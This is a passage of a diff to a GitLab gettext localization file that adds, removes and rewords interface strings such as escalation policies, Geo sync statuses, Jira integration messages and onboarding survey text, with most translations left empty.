msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11581,6 +11677,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11809,7 +11908,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11824,6 +11923,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11833,9 +11950,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11950,9 +12064,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12007,6 +12118,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12136,13 +12250,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12220,6 +12334,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12265,9 +12382,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12289,9 +12403,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12961,9 +13072,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12976,12 +13084,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13090,6 +13204,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13313,10 @@ msgid "Every two weeks"
msgstr "DvosedmiÄno"
msgid "Every week"
-msgstr "SedmiÄno"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13795,6 +13960,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13819,9 +13987,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13849,9 +14014,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13870,9 +14032,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13915,9 +14074,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13933,7 +14089,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14185,6 +14341,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14290,6 +14455,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14308,6 +14476,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14335,6 +14506,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14602,6 +14782,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14629,6 +14812,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14656,6 +14842,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14680,6 +14869,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14707,6 +14899,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14752,6 +14947,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14764,10 +14962,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14932,6 +15136,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14944,10 +15154,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15193,9 +15406,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15292,16 +15502,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15334,9 +15547,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15391,6 +15601,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15469,7 +15682,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15583,6 +15796,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15643,6 +15859,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15664,13 +15883,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15733,6 +15955,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16051,9 +16276,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16090,22 +16312,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16177,7 +16408,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16192,6 +16423,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16204,6 +16438,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16321,9 +16567,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16354,9 +16597,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16441,9 +16681,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16453,9 +16708,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16609,6 +16861,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16858,6 +17113,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16891,6 +17149,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16903,9 +17164,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16918,6 +17188,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17044,6 +17317,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17083,6 +17359,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17098,10 +17377,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17137,9 +17416,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17215,6 +17503,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17254,6 +17545,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17293,6 +17587,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17308,9 +17605,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17440,7 +17734,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17638,10 +17932,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17719,7 +18013,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17905,7 +18199,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18139,6 +18433,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18208,12 +18505,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18241,6 +18532,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18286,6 +18598,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18388,6 +18703,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18397,6 +18715,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18430,13 +18754,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18460,7 +18784,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18535,6 +18859,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18550,10 +18877,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18640,7 +18967,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18688,6 +19015,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18703,6 +19042,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18796,6 +19138,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18829,6 +19174,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18856,9 +19204,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18895,6 +19264,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19138,18 +19510,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19321,6 +19687,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19357,6 +19729,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19852,7 +20227,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20110,6 +20485,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20197,6 +20575,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
